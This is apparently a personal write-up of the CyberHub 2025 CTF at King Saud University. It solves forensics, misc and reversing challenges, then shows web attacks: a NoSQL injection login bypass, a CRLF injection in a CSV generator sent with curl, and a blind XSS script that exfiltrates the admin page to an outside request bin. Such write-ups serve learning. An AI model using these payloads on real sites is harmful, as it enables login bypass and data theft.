Cyber Hub 2025 CTF
Introduction
CyberHub 2025 CTF was a short, 6-hour CTF at King Saud University in Riyadh. The event was co-hosted by CyberHub, Cyberani, CyberShe, and Flagyard, drawing in around 25 teams of two to five members each. Whether you were a cryptography buff or a web exploitation rookie, there was something for everyone.
Date: 01/05/2025
Duration: 6 hours
Categories:
Crypto (4 challenges)
Forensics (4 challenges)
Misc (3 challenges)
PWN (3 challenges)
Reversing (3 challenges)
Web (4 challenges)
Prizes:
First Place: 7000 SAR
Second Place: 5000 SAR
Third Place: 3000 SAR
Fourth & Fifth Place: INE vouchers each
Giveaway: One additional INE voucher
Miscellaneous Challenges: A Walk in the Park
Desert Mirage
Make the provided file executable and run it.

Output:
RmxhZ1l7bWlyYWdlX3JlZmxlY3Rpb259
Decode from Base85 to reveal the flag.

Flag:
FlagY{mirage_reflection}
Shallow Sea
Inspect a PNG file for hidden data. I used
zsteg
through an online tool (aperisolve)

Flag:
FlagY{hidden_currents}
Prismatic Veil
Analyze a PCAP for scattered packet data. Reassemble DNS packets to uncover the flag.

Flag:
FlagY{prismatic_dns_reveal}
Reverse Engineering
I did only one that was really simple and easy.
Obsidian Crucible
Make the binary executable and run it.
Output & Flag: The program simply printed
FlagY{shadow_vm_master}
when executed.
Web
!QL
I tried different basic SQL injection payloads, default creds, etc. but, the login page stubbornly returned:
{"success":false}
After poking around, I checked
robots.txt
and saw hints (rabbit hole):
# it's not that easy but u r half way there.
# Contact: g0at@CSC.com
Turns out, it was a classic NoSQL injection. Sending this payload succeeded:
{
"email": {"$ne": "invalid"},
"password": {"$ne": "invalid"}
}
Flag:
FlagY{b2293e35958626ae7ac15fe349d77770}
d3limit3r
This challenge let you dynamically generate a CSV with custom columns and delimiters, then applied a filter to hide the flag row. By injecting a dummy header with a line break, I altered the CSV structure so that the filter logic missed the flag row:
curl -X POST http://<target>/generate \
-d "numColumns=2&columnName0=injected%0d%0aid,col1&columnName1=col2&delimiter=," \
--output random.csv
The trick produced a row like
NaN,FLAG,FLAG
, slipping past the filter and revealing the flag in plain sight.Flag:
FlagY{e32fff4435eac6e12527297875c96456}
BL1ndly
This one was a bit harder. It was a system with 2 functions, one being a login form and the other being a a form to submit feedback that supposedly being sent to admin.
The feedback form didn't have any type of form validation, I tried XSS injection. First, I had to set up a request bin (via Pipedream) and crafted a blind XSS payload in the feedback form, I tried multiple times to get the flag.txt but then I couldn't so I just used this payload to get the full page:
<script>
fetch(document.location.href)
.then(res => res.text())
.then(html =>
fetch("https://<my-bin>.pipedream.net?html=" + encodeURIComponent(html))
)
</script>
That exposed the admin credentials:
username: SecretAdmin
password: sup3r_secure!
I logged in thinking that I will get the flag but it's not that easy. After login there is an Excel upload function. I tried with a random file to test and I got:
❌ <sheet> tag not found or empty
It hinted towards an XXE attack. I tried multiple different payloads by editing
workbook.xml
inside the XLSX ZIP. Unfortunately, I couldn’t get past the errors in time.
Last updated